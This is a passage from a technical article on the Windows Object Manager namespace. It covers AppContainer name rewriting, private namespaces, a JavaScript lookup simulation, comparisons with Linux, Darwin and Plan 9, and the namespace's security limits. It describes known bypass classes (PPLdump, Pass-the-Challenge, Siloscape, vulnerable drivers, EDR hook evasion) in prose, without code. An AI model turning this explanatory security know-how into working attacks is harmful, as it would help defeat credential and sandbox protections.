        OB --&amp;gt;|&quot;rewrite name&quot;| RW[&quot;Rewrite &apos;\\BaseNamedObjects\\Global\\Foo&apos;&lt;br /&gt;to&lt;br /&gt;&apos;\\Sessions\\1\\AppContainerNamedObjects\\&lt;br /&gt;S-1-15-2-...\\Global\\Foo&apos;&quot;]
        RW --&amp;gt; WALK[&quot;walk the rewritten path&quot;]
    end
    WALK --&amp;gt; Dir[&quot;\\Sessions\\1\\AppContainerNamedObjects\\&lt;br /&gt;S-1-15-2-...\\Global\\&lt;br /&gt;(per-package OBJECT_DIRECTORY,&lt;br /&gt;DACL allows only package SID)&quot;]
&lt;p&gt;The &lt;code&gt;\BNOLINKS&lt;/code&gt; directory deserves a separate paragraph because it is not on Microsoft Learn. &lt;code&gt;NtCreatePrivateNamespace&lt;/code&gt; is the kernel-side syscall behind the Win32 &lt;code&gt;CreatePrivateNamespace&lt;/code&gt; API [@ms-createprivatenamespacew]; the caller passes a boundary descriptor built by &lt;code&gt;CreateBoundaryDescriptor&lt;/code&gt; [@ms-createboundarydescriptorw] plus one or more SIDs added via &lt;code&gt;AddSIDToBoundaryDescriptor&lt;/code&gt; [@ms-addsidtoboundarydescriptor]. The kernel materialises one &lt;code&gt;\BNOLINKS&lt;/code&gt; entry per &lt;code&gt;(alias_prefix, boundary_descriptor_hash)&lt;/code&gt; tuple; two callers that pass the same &lt;code&gt;lpAliasPrefix&lt;/code&gt; but different boundary descriptors land on different directories. The native signature is documented in the PHNT-derived NtDoc mirror [@ntdoc-ntcreateprivatenamespace], and the &lt;code&gt;OBJECT_BOUNDARY_DESCRIPTOR&lt;/code&gt; structure layout is at ntdoc.m417z.com/object_boundary_descriptor [@ntdoc-object-boundary-descriptor]. The Win32 Object Namespaces overview [@ms-object-namespaces] is Microsoft&apos;s only published user-mode reference; the &lt;code&gt;\BNOLINKS&lt;/code&gt; directory name itself is reverse-engineering-derived.The &lt;code&gt;\BNOLINKS&lt;/code&gt; directory is documented only through reverse engineering of &lt;code&gt;ntoskrnl.exe&lt;/code&gt; -- via Forshaw&apos;s NtObjectManager and System Informer&apos;s PHNT headers -- not on Microsoft Learn. The user-mode API surface (&lt;code&gt;CreatePrivateNamespace&lt;/code&gt;, &lt;code&gt;CreateBoundaryDescriptor&lt;/code&gt;, &lt;code&gt;AddSIDToBoundaryDescriptor&lt;/code&gt;) is fully documented. The provenance gap is worth flagging when you cite the directory by name.The &lt;code&gt;\KnownDlls&lt;/code&gt; LPE class was, for a decade, the canonical example of how a DACL plus loader-side validation could lock down a supply-chain anchor. Forshaw&apos;s August 2018 P0 post first sketched a &lt;code&gt;DefineDosDevice&lt;/code&gt; + &lt;code&gt;\??&lt;/code&gt; symlink-plant chain that could land a forged &lt;code&gt;Section&lt;/code&gt; object into &lt;code&gt;\KnownDlls&lt;/code&gt;; Clement Labro (itm4n) implemented the attack as the PPLdump tool and wrote companion posts on both itm4n.github.io [@itm4n-lsass-runasppl] and the SCRT team blog [@blog-scrt-bypassing-lsa-protection-in-userland]. The class was closed in NTDLL by Windows 10 21H2 build 19044.1826; itm4n confirms the patch in &lt;em&gt;The End of PPLdump&lt;/em&gt; [@itm4n-the-end-of-ppldump]: &quot;A patch in NTDLL now prevents PPLs from loading Known DLLs.&quot;&lt;/p&gt;
&lt;p&gt;{`
const MAX_DIRECTORY_BUCKETS = 37;&lt;/p&gt;
&lt;p&gt;function rtlHashUnicodeString(name) {
  let h = 0;
  for (const ch of name.toUpperCase()) {
    h = (h * 31 + ch.charCodeAt(0)) &amp;gt;&amp;gt;&amp;gt; 0;
  }
  return h % MAX_DIRECTORY_BUCKETS;
}&lt;/p&gt;
&lt;p&gt;function makeDir() {
  return { buckets: Array(MAX_DIRECTORY_BUCKETS).fill(null).map(() =&amp;gt; []) };
}&lt;/p&gt;
&lt;p&gt;function addChild(dir, name, child) {
  dir.buckets[rtlHashUnicodeString(name)].push({ name, child });
}&lt;/p&gt;
&lt;p&gt;function lookupObjectName(path, root) {
  const components = path.split(&apos;\\&apos;).filter(Boolean);
  let cursor = root;
  for (const comp of components) {
    const bucket = rtlHashUnicodeString(comp);
    const chain = cursor.buckets[bucket];
    const hit = chain.find(e =&amp;gt; e.name.toUpperCase() === comp.toUpperCase());
    console.log(`lookup &apos;${comp}&apos; -&amp;gt; bucket ${bucket}, chain length ${chain.length}, ${hit ? &apos;HIT&apos; : &apos;MISS&apos;}`);
    if (!hit) return null;
    if (hit.child.parseProcedure) {
      const rest = &apos;\\&apos; + components.slice(components.indexOf(comp) + 1).join(&apos;\\&apos;);
      console.log(`  parse-procedure handoff for type &apos;${hit.child.type}&apos;, residual=&apos;${rest}&apos;`);
      return { handedOff: hit.child, residual: rest };
    }
    cursor = hit.child;
  }
  return cursor;
}&lt;/p&gt;
&lt;p&gt;const root = makeDir();
const device = makeDir();
device.parseProcedure = true; device.type = &apos;Device&apos;;
const sessions = makeDir();
addChild(root, &apos;Device&apos;, device);
addChild(root, &apos;Sessions&apos;, sessions);
addChild(root, &apos;BaseNamedObjects&apos;, makeDir());&lt;/p&gt;
&lt;p&gt;lookupObjectName(&apos;\\Device\\HarddiskVolume1\\Users\\me\\file.txt&apos;, root);
`}&lt;/p&gt;
&lt;p&gt;The walk is the algorithm. The 37 is the bucket count Cutler picked in 1993. The parse-procedure handoff is where the I/O Manager and the Configuration Manager and dozens of other subsystems insert themselves into the tree. Now turn the question around: Windows bet on one tree. What did the kernels that did not bet on one tree do, and why?&lt;/p&gt;
&lt;h2&gt;7. How other kernels name kernel objects&lt;/h2&gt;
&lt;p&gt;Three kernels, three different bets. Linux took the namespace and &lt;em&gt;split it into per-resource-class clones&lt;/em&gt; -- one for mounts, one for PIDs, one for IPC, one for the network stack, one for users, one for hostnames, one for cgroups, one for time -- and never built a unified tree. macOS / Darwin gave each task its own &lt;em&gt;Mach port-right namespace&lt;/em&gt; and let &lt;code&gt;launchd&lt;/code&gt; broker named-service lookups. Plan 9 from Bell Labs was the academic ancestor of &quot;every named OS resource is a filesystem path,&quot; and the design Cutler imported into NT.&lt;/p&gt;
&lt;h3&gt;7.1 Linux: per-resource namespaces&lt;/h3&gt;
&lt;p&gt;Linux ships eight namespace types, each governed by a &lt;code&gt;CLONE_NEW*&lt;/code&gt; flag passed to &lt;code&gt;clone()&lt;/code&gt;, &lt;code&gt;unshare()&lt;/code&gt;, or &lt;code&gt;setns()&lt;/code&gt;: mount, PID, network, IPC, user, UTS, cgroup, and time. The &lt;code&gt;namespaces(7)&lt;/code&gt; man page is precise: &quot;A namespace wraps a global system resource in an abstraction that makes it appear to the processes within the namespace that they have their own isolated instance of the global resource&quot; [@man7-namespaces]. Docker, containerd, runc, Kubernetes pods, LXC, and systemd-nspawn all compose these eight flags into a Linux container.&lt;/p&gt;
&lt;p&gt;The strength of the Linux design is per-class composability. A process can be in a fresh mount namespace, a fresh PID namespace, and the host&apos;s network namespace, all at once. The weakness is the absence of a unified type registry: Linux has no equivalent of &lt;code&gt;\ObjectTypes&lt;/code&gt;, no equivalent of the &lt;code&gt;OBJECT_HEADER&lt;/code&gt; reference counting that the kernel applies uniformly to every named object. Each resource class has its own lookup function, its own permission model, and its own ownership story. A bug in any one of them is bounded to that one resource class but is also not shared mitigation across the others.&lt;/p&gt;
&lt;h3&gt;7.2 macOS / Darwin: Mach ports and the bootstrap server&lt;/h3&gt;
&lt;p&gt;Darwin&apos;s kernel-object naming is capability-style. Apple&apos;s archive documentation describes the model directly: &quot;each task consists of a virtual address space, a port right namespace, and one or more threads&quot; [@apple-mach-kernel]. Tasks send messages by holding a &lt;em&gt;port right&lt;/em&gt; -- a per-task index into a kernel-managed table of Mach ports. There is no single hierarchical namespace; ports are sent over Mach messages, and &lt;code&gt;launchd&lt;/code&gt; operates as the bootstrap-server name broker for services that need a stable rendezvous. A separate I/O Registry tree carries device objects.&lt;/p&gt;
&lt;p&gt;The strength of the Mach design is that capabilities cannot be forged; you cannot synthesise a port right out of a string the way you can synthesise a path string under Windows. The weakness is the split namespace: device objects live in the I/O Registry, services live behind &lt;code&gt;launchd&lt;/code&gt;, and the kernel itself has no equivalent of &lt;code&gt;\BaseNamedObjects&lt;/code&gt; as a one-stop shop.&lt;/p&gt;
&lt;h3&gt;7.3 Plan 9 from Bell Labs&lt;/h3&gt;
&lt;p&gt;Plan 9 is the design lineage Cutler imported. In Plan 9, every named operating-system resource -- including processes, network connections, devices, and the window system -- surfaces as a path served over 9P. The single hierarchical namespace was the central claim. Plan 9 never reached commercial scale, but its design idea reached production in three places: NT (1993, via Cutler), Linux&apos;s /proc, /sys, and FUSE (the 1990s onward), and the various capability-OS research projects (KeyKOS, EROS, seL4) that took the lessons in a different direction.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Primitive&lt;/th&gt;
&lt;th&gt;Granularity&lt;/th&gt;
&lt;th&gt;Enforcement point&lt;/th&gt;
&lt;th&gt;Structural / opt-in&lt;/th&gt;
&lt;th&gt;Bypass by privilege&lt;/th&gt;
&lt;th&gt;Inheritance gap&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Per-Session (NT)&lt;/td&gt;
&lt;td&gt;Logon session&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ObpLookupObjectName&lt;/code&gt; + DACL&lt;/td&gt;
&lt;td&gt;Structural&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SeDebugPrivilege&lt;/code&gt; short-circuit&lt;/td&gt;
&lt;td&gt;Inherited handles cross sessions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AppContainer Lowbox (NT)&lt;/td&gt;
&lt;td&gt;Package SID&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ObpLookupObjectName&lt;/code&gt; rewrite&lt;/td&gt;
&lt;td&gt;Structural&lt;/td&gt;
&lt;td&gt;TCB privileges only&lt;/td&gt;
&lt;td&gt;Brokered handles enter&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Server Silo (NT)&lt;/td&gt;
&lt;td&gt;Container&lt;/td&gt;
&lt;td&gt;Process-&amp;gt;Silo indirection&lt;/td&gt;
&lt;td&gt;Structural&lt;/td&gt;
&lt;td&gt;KMCS-signed driver&lt;/td&gt;
&lt;td&gt;Host handles cross silos&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;VBS / IUM Trustlet (NT)&lt;/td&gt;
&lt;td&gt;Trust level (VTL)&lt;/td&gt;
&lt;td&gt;Hypervisor&lt;/td&gt;
&lt;td&gt;Structural&lt;/td&gt;
&lt;td&gt;Hypervisor compromise&lt;/td&gt;
&lt;td&gt;Cross-VTL ALPC only&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Mandatory Integrity Control (NT)&lt;/td&gt;
&lt;td&gt;IL band&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SeAccessCheckByType&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Opt-in (per-object SACL)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SeRelabelPrivilege&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Inherited handles bypass&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ObRegisterCallbacks&lt;/code&gt; (NT)&lt;/td&gt;
&lt;td&gt;Per-type, per-driver&lt;/td&gt;
&lt;td&gt;Object Manager pre-op callback&lt;/td&gt;
&lt;td&gt;Mediation, not partition&lt;/td&gt;
&lt;td&gt;KMCS-signed driver&lt;/td&gt;
&lt;td&gt;Inheritance bypasses callback&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Private Namespace (NT)&lt;/td&gt;
&lt;td&gt;Boundary SID-list&lt;/td&gt;
&lt;td&gt;&lt;code&gt;NtCreatePrivateNamespace&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Structural&lt;/td&gt;
&lt;td&gt;All SIDs in caller&apos;s token&lt;/td&gt;
&lt;td&gt;Boundary-keyed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Linux Namespace&lt;/td&gt;
&lt;td&gt;Per-resource clone&lt;/td&gt;
&lt;td&gt;&lt;code&gt;setns&lt;/code&gt;/&lt;code&gt;unshare&lt;/code&gt;/&lt;code&gt;clone&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Structural&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CAP_SYS_ADMIN&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Fork inherits namespace set&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Mach Port Right&lt;/td&gt;
&lt;td&gt;Per-task&lt;/td&gt;
&lt;td&gt;Capability check on send&lt;/td&gt;
&lt;td&gt;Structural (capabilities)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;host_priv&lt;/code&gt; / kernel&lt;/td&gt;
&lt;td&gt;Inherited rights on fork&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;

The Object Manager namespace is not a filesystem. There is no disk persistence, no journal, no FAT or MFT, no inode allocator, no per-file DACL in the filesystem sense. Nothing under `\` survives a reboot. Files-on-disk, registry-keys-in-a-hive, and named pipes are leaves in the OM tree, but the actual filesystem implementation lives in NTFS / ReFS / ExFAT drivers reached through the `Device` type&apos;s parse procedure.&lt;p&gt;What the OM namespace &lt;em&gt;shares&lt;/em&gt; with filesystems is exactly three things: the path-walk algorithm (left-to-right, component-by-component, with one hash-table lookup per component), the per-directory hash table (analogous to the directory-entry hash filesystems use), and the per-object security descriptor (which the SRM enforces at the same point a filesystem would enforce its DACL).&lt;/p&gt;
&lt;p&gt;When you read or write the phrase &quot;Object Manager namespace,&quot; the metaphor that is doing real work is &quot;in-memory directory tree the kernel uses to find named objects,&quot; not &quot;filesystem in the disk-format sense.&quot;
&lt;/p&gt;&lt;p&gt;&lt;/p&gt;

The Windows 2000-era `CreateRestrictedToken` primitive was the wrong layer in 2000 as a standalone sandboxing mechanism -- it could not partition the namespace; it only filtered the caller&apos;s SID set against per-object DACLs. Chromium revived it in 2008 as one of four cooperating layers, and that pattern is the canonical 2026 production sandbox shape. The Chromium design document captures the constraints: &quot;The Windows sandbox is a user-mode only sandbox. There are no special kernel mode drivers... The sandbox is provided as a static library that must be linked to both the broker and the target executables&quot; (Chromium Sandbox Design [@chromium-sandbox-md], FAQ [@chromium-sandbox-faq]).&lt;p&gt;The four layers compose pairwise-orthogonally. The token gates &lt;em&gt;which DACLs&lt;/em&gt; the renderer can satisfy at &lt;code&gt;SeAccessCheck&lt;/code&gt; time; the job object gates &lt;em&gt;which kernel API surface&lt;/em&gt; the renderer can call (UI exceptions, process creation, etc.); the integrity level gates &lt;em&gt;which writes&lt;/em&gt; the renderer can perform across MIC label boundaries; the AppContainer lowbox-rewrites &lt;em&gt;every named-object lookup&lt;/em&gt; into the per-package directory inside &lt;code&gt;ObpLookupObjectName&lt;/code&gt;. A handle that survives all four checks is the only object the renderer can usefully touch. The load-bearing header is &lt;code&gt;sandbox_policy.h&lt;/code&gt;, which declares &lt;code&gt;TargetConfig::SetTokenLevel(TokenLevel initial, TokenLevel lockdown)&lt;/code&gt;, &lt;code&gt;SetJobLevel&lt;/code&gt;, &lt;code&gt;SetIntegrityLevel&lt;/code&gt;, &lt;code&gt;SetDelayedIntegrityLevel&lt;/code&gt;, and &lt;code&gt;SetAppContainerSid&lt;/code&gt;, with one verbatim mutual-exclusion note: &quot;Using an initial token is not compatible with AppContainer&quot; [@chromium-sandbox-policy-h].&lt;/p&gt;
&lt;p&gt;This is the 2026 production sandbox shape every Chromium-based browser inherits (Edge, Chrome, Brave, Vivaldi, Opera), as do Electron-based apps like Visual Studio Code&apos;s renderer processes.
&lt;/p&gt;&lt;p&gt;&lt;/p&gt;

The cross-VTL ALPC ports through which a VTL0 process talks to a VTL1 trustlet are still located in VTL0&apos;s `\RPC Control`. An attacker who controls VTL0 can *send* messages to LsaIso even though they cannot *read* LsaIso&apos;s internal state. Oliver Lyak&apos;s December 2022 *Pass-the-Challenge* result is the canonical worked example ([GitHub: ly4k/PassTheChallenge](https://github.com/ly4k/PassTheChallenge)): the trustlet&apos;s pages are never read, but the trustlet&apos;s RPC output exfiltrates the secret. The lesson is that VTL1 isolation is a *page-level* read barrier, not a *protocol-level* containment property. The VBS Trustlets piece in this corpus carries the deeper walkthrough.
&lt;p&gt;Windows bet on one tree; Linux bet on eight clone-flag dimensions; Darwin bet on capability-style port-right tables. Each bet has theoretical limits. What are they?&lt;/p&gt;
&lt;h2&gt;8. What the namespace cannot do&lt;/h2&gt;
&lt;p&gt;The frame for this section comes from James P. Anderson&apos;s 1972 USAF technical report &lt;em&gt;Computer Security Technology Planning Study&lt;/em&gt; (ESD-TR-73-51), Section 4.1.1. Anderson is the named originator of the reference-monitor concept and of the four properties such a monitor must satisfy. Wikipedia preserves the modern acronym verbatim: the reference-validation mechanism must be &quot;&lt;strong&gt;N&lt;/strong&gt;on-bypassable... &lt;strong&gt;E&lt;/strong&gt;valuable... &lt;strong&gt;A&lt;/strong&gt;lways invoked... &lt;strong&gt;T&lt;/strong&gt;amper-proof,&quot; and &quot;according to Ross Anderson, the reference monitor concept was introduced by James Anderson in an influential 1972 paper&quot; [@wikipedia-reference-monitor]. The NIST CSRC mirror hosts the original PDF [@csrc-nist-ande72].&lt;/p&gt;
&lt;p&gt;Saltzer and Schroeder&apos;s 1975 paper &lt;em&gt;The Protection of Information in Computer Systems&lt;/em&gt; [@cs-virginia-saltzer-schroeder] added the &lt;em&gt;complete-mediation principle&lt;/em&gt; -- &quot;every access to every object must be checked for authority&quot; -- and seven other design principles the reference-validation mechanism must satisfy (economy of mechanism, fail-safe defaults, open design, separation of privilege, least privilege, least common mechanism, psychological acceptability).&lt;/p&gt;
&lt;p&gt;Map the Windows Object Manager against the four NEAT properties and the answer is uncomfortable. The namespace partially achieves two (Always-invoked and Tamper-proof), fails Non-bypassable outright, and falls one to two orders of magnitude short of Evaluable.&lt;/p&gt;
&lt;h3&gt;8.1 Always-invoked: provably gapped&lt;/h3&gt;
&lt;p&gt;The namespace achieves always-invoked for &lt;em&gt;name-based opens&lt;/em&gt;. Every &lt;code&gt;Nt*OpenObject*&lt;/code&gt; syscall walks &lt;code&gt;ObpLookupObjectName&lt;/code&gt;; there is no path that returns a handle to a named object without going through the lookup. But the namespace cannot achieve always-invoked for &lt;em&gt;handle inheritance&lt;/em&gt;. A child process inherits handles from &lt;code&gt;CreateProcess(bInheritHandles=TRUE)&lt;/code&gt; without going through the OM at all. The handles already exist in the parent&apos;s &lt;code&gt;HANDLE_TABLE&lt;/code&gt;; the kernel walks the parent&apos;s table, duplicates the entries into the child&apos;s table, and the child has live access. No name-lookup, no &lt;code&gt;ObRegisterCallbacks&lt;/code&gt; callback, no SRM check. As long as the OS API exposes handle inheritance -- and it is too deeply embedded in 33 years of shipping Windows code to remove -- the Object Manager cannot be the &lt;em&gt;sole&lt;/em&gt; reference monitor.&lt;/p&gt;
&lt;h3&gt;8.2 Tamper-proof: bounded, not absolute&lt;/h3&gt;
&lt;p&gt;The Object Manager runs in ring 0, under Kernel-Mode Code Signing (KMCS), and -- on machines with Virtualization-Based Security and Hypervisor-protected Code Integrity (HVCI) enabled -- inside a Hyper-V-enforced code-integrity policy. Any kernel-mode adversary who can load a driver bypasses the OM. KMCS and HVCI raise the cost; they do not eliminate the surface. The Bring-Your-Own-Vulnerable-Driver class of attacks (signed but exploitable drivers) is the running residual class, and the historical pattern is that one or two new vulnerable signed drivers surface every quarter.&lt;/p&gt;
&lt;h3&gt;8.3 Evaluable: provably above threshold&lt;/h3&gt;
&lt;p&gt;A small enough TCB can be machine-verified. The seL4 microkernel is the canonical demonstration: roughly 9,000 lines of C verified end-to-end against a formal specification (~11 person-years for initial functional correctness per Klein et al. SOSP 2009, and approximately 25 person-years for the full suite of subsequent proofs including information-flow and binary verification) [@sel4-project]. The Object Manager subsystem, the Security Reference Monitor, and the parse procedures the Object Manager delegates to (file-system drivers via &lt;code&gt;IopParseDevice&lt;/code&gt;; the registry via &lt;code&gt;CmpParseKey&lt;/code&gt;; ALPC; the I/O manager itself) collectively comprise tens of thousands of lines of C, putting the TCB for &quot;open a named object&quot; at one to two orders of magnitude above the verification threshold any current proof system can handle. The Object Manager is &lt;em&gt;not&lt;/em&gt; evaluable in the formal sense Anderson required.&lt;/p&gt;
&lt;h3&gt;8.4 Non-bypassable: the privilege short-circuit&lt;/h3&gt;
&lt;p&gt;A process holding &lt;code&gt;SeDebugPrivilege&lt;/code&gt; (or any privilege that grants &lt;code&gt;PROCESS_VM_*&lt;/code&gt; rights) can short-circuit per-directory ACLs. The privilege evaluation happens at &lt;code&gt;SeAccessCheck&lt;/code&gt; time, &lt;em&gt;after&lt;/em&gt; &lt;code&gt;ObpLookupObjectName&lt;/code&gt; has resolved the name. The Object Manager will resolve any path the privileged caller asks for; the gate fires, but it lets the call through. The namespace cannot defend against the holder of &lt;code&gt;SeDebugPrivilege&lt;/code&gt;. This is by design -- you want a debugger to be able to attach to anything -- but it is also the structural reason why &quot;lock down the namespace&quot; is not by itself a containment story.&lt;/p&gt;
&lt;h3&gt;8.5 What else the namespace cannot do&lt;/h3&gt;
&lt;p&gt;It cannot prevent in-process memory disclosure -- the Pass-the-Challenge limit covered in the Section 7 aside. It cannot defend against a malicious driver -- KMCS, HVCI, and WDAC gate driver load; the namespace itself trusts already-loaded drivers. It cannot eliminate time-of-check / time-of-use racing during a path walk; the walker walks components one at a time, and any reentrant call into the walker is a TOCTOU surface. The mitigation is per-call -- callers pass &lt;code&gt;OBJ_DONT_REPARSE&lt;/code&gt; on object-attributes, &lt;code&gt;FILE_FLAG_OPEN_REPARSE_POINT&lt;/code&gt; on file opens, or otherwise instruct the path-walker to refuse symbolic-link substitution -- not a structural property of the namespace.&lt;/p&gt;
&lt;h3&gt;8.6 The honest accounting&lt;/h3&gt;
&lt;p&gt;The Object Manager namespace is a &lt;em&gt;coordination&lt;/em&gt; mechanism, not a &lt;em&gt;containment&lt;/em&gt; mechanism. Containment is in the layers above: the session ID, the package SID, the integrity level, the silo ID, the VTL split. The namespace&apos;s job is to make those layers &lt;em&gt;enforceable&lt;/em&gt; by partitioning the path space so the bad open &lt;em&gt;cannot resolve to the privileged object&apos;s name&lt;/em&gt;. The layers above decide which partition the caller is in; the namespace&apos;s only job is &quot;given a path and a caller, find the object.&quot; Anderson 1972 names the &lt;em&gt;kernel mechanism&lt;/em&gt; (the reference-validation mechanism with NEAT properties); Saltzer-Schroeder 1975 names the &lt;em&gt;design principles&lt;/em&gt; the mechanism must satisfy. The Object Manager is the Windows realisation; it inherits both the strengths and the limits.&lt;/p&gt;

The namespace is a coordination mechanism, not a containment mechanism. The containment is in the layers above.
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; The Object Manager is the coordination layer; the containment is in the partition primitives stacked on top (session ID, package SID, integrity level, silo ID, VTL). The namespace&apos;s only job is &quot;given a path and a caller, find the object.&quot; Every Windows security boundary is a parameter to that one job: a per-directory ACL, a token-keyed name rewrite, or a kernel callback registered against an &lt;code&gt;OBJECT_TYPE&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The provable gaps are real. What is the active research direction in 2026 -- where do attackers and defenders actually meet inside the namespace today?&lt;/p&gt;
&lt;h2&gt;9. Open problems in 2026&lt;/h2&gt;
&lt;p&gt;Five open problems sit in active research as of 2026.&lt;/p&gt;
&lt;h3&gt;9.1 Hash-bucket collision pressure&lt;/h3&gt;
&lt;p&gt;The 37-bucket constant has not changed since 1993. On a 2026 Windows 11 25H2 machine with several hundred MSIX packages, each owning an &lt;code&gt;\AppContainerNamedObjects\&amp;lt;package-sid&amp;gt;\&lt;/code&gt; subtree, average chain lengths inside &lt;code&gt;\Sessions\1\AppContainerNamedObjects&lt;/code&gt; exceed two and routinely run higher under load. The structural impact is small per-lookup (O(chain length) at each component), but it compounds across deep path walks and across the per-VM hot loops in &lt;code&gt;ObpLookupObjectName&lt;/code&gt;. Microsoft has not committed to a larger table or a different structure; the constant remains.&lt;/p&gt;
&lt;h3&gt;9.2 Cross-AppContainer object-directory privacy&lt;/h3&gt;
&lt;p&gt;Per-AppContainer isolation is the AppContainer model&apos;s promise; residual cross-package reads erode it. Forshaw&apos;s Project Zero work between 2017 and 2020 documents specific classes; Windows 11 25H2 DACLs are tighter than Windows 10 RTM, but the impersonation-mediated cases survive. The HackSys / CVE-2023-35359 family covered in Section 4.5 is the current realisation of the cross-AppContainer-plus-impersonation surface, and the same broader resource-planting taxonomy Forshaw described in the 2017 Named Pipe Secure Prefixes post [@tiraniddo-named-pipe-secure-prefixes] is still rediscovered every year.&lt;/p&gt;
&lt;h3&gt;9.3 Silo-escape via routines that ignore silo attachment&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Siloscape&lt;/em&gt; (June 7, 2021) showed that &lt;code&gt;NtSetInformationSymbolicLink&lt;/code&gt; could retarget a silo-scoped symbolic link at a host-scoped path. Microsoft patched the specific function; the &lt;em&gt;class&lt;/em&gt; -- kernel routines whose path resolution does not honour &lt;code&gt;Process-&amp;gt;Silo-&amp;gt;RootDirectory&lt;/code&gt; -- remains open. Microsoft&apos;s long-standing position is that Server Silo is not a security boundary; Hyper-V Container is the security-boundary product. Container runtimes that depend on Server Silo for tenant isolation are knowingly running outside the supported boundary.&lt;/p&gt;
&lt;h3&gt;9.4 ObRegisterCallbacks erosion under HVCI&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;ObRegisterCallbacks&lt;/code&gt; requires a KMCS-signed driver, and on HVCI-enabled machines the binary must additionally be HVCI-compatible. Microsoft has progressively raised the compatibility bar -- preventing unsigned drivers, banning common runtime-patching idioms, and tightening the W^X policy. EDR vendors depend on the surface staying open; if HVCI&apos;s compatibility bar ever excludes the EDR kernel driver pattern, the in-kernel callback layer is at risk. The CrowdStrike Falcon Sensor outage of July 2024 made the brittleness of in-kernel EDR a public conversation. Microsoft&apos;s &lt;em&gt;Defender for Endpoint&lt;/em&gt; and &lt;em&gt;EDR-on-Linux eBPF&lt;/em&gt; projects point at alternative-mediation futures, but in-kernel &lt;code&gt;ObRegisterCallbacks&lt;/code&gt; is still the primary credential-theft sensor.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; As attackers ship Hell&apos;s Gate / Halo&apos;s Gate / direct-syscall stubs to bypass userland EDR hooks, the kernel callback fires regardless. The arms race accordingly shifts to the &lt;em&gt;access-mask-strip vs. impersonate-trusted-parent-PID&lt;/em&gt; layer inside the kernel callback itself, with both sides racing to define the right pre-operation policy for &lt;code&gt;lsass.exe&lt;/code&gt; handle opens. Watch the Microsoft Security Response Center advisories and the EDR-vendor incident postmortems for the bleeding edge.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;9.5 Public benchmark vacuum&lt;/h3&gt;
&lt;p&gt;No peer-reviewed benchmark compares per-call namespace-lookup cost across the Windows Object Manager, Linux namespaces, and Mach ports. Choice of namespace design at the OS level is a multi-decade commitment; the absence of an empirical comparison forces architecture decisions on theoretical-only grounds. The Linux Kernel Test Robot, the Phoronix Test Suite, and various academic systems-conference benchmarks measure adjacent properties (filesystem-call latency, system-call vector cost), but none publishes head-to-head numbers on the named-object-lookup hot path. This is an open invitation to systems researchers.&lt;/p&gt;
&lt;p&gt;Five open problems is a research agenda, not a how-to. How do you actually look at this thing on your own machine?&lt;/p&gt;
&lt;h2&gt;10. Reading the namespace from a live system&lt;/h2&gt;
&lt;p&gt;Three tools cover the operational practice: Sysinternals WinObj, Forshaw&apos;s NtObjectManager PowerShell module, and WinDbg in kernel mode.&lt;/p&gt;
&lt;h3&gt;10.1 WinObj on a live system&lt;/h3&gt;
&lt;p&gt;Download &lt;code&gt;winobj.exe&lt;/code&gt; from Sysinternals [@ms-winobj] and run it as administrator. The left pane is the directory tree; the right pane shows the children of the selected directory with their object types. Navigate to &lt;code&gt;\Sessions\1\BaseNamedObjects&lt;/code&gt; and read off the named events and mutants every Win32 app in your interactive session has created. Navigate to &lt;code&gt;\Sessions\1\AppContainerNamedObjects&lt;/code&gt; and pick an &lt;code&gt;S-1-15-2-...&lt;/code&gt; directory; right-click, choose Properties, and read the security descriptor. You will see a single allow-ACE granting full access only to the package SID itself. That ACE is the entire AppContainer sandbox at the namespace layer.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; WinObj cannot traverse &lt;code&gt;\ObjectTypes&lt;/code&gt;, &lt;code&gt;\Security&lt;/code&gt;, or &lt;code&gt;\Sessions\0\&lt;/code&gt; without administrator rights. Without traversal, the enumerate fails silently and the tree looks empty. Always run elevated, and accept that the tool will show the kernel view, not a per-process view.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;10.2 NtObjectManager PowerShell&lt;/h3&gt;
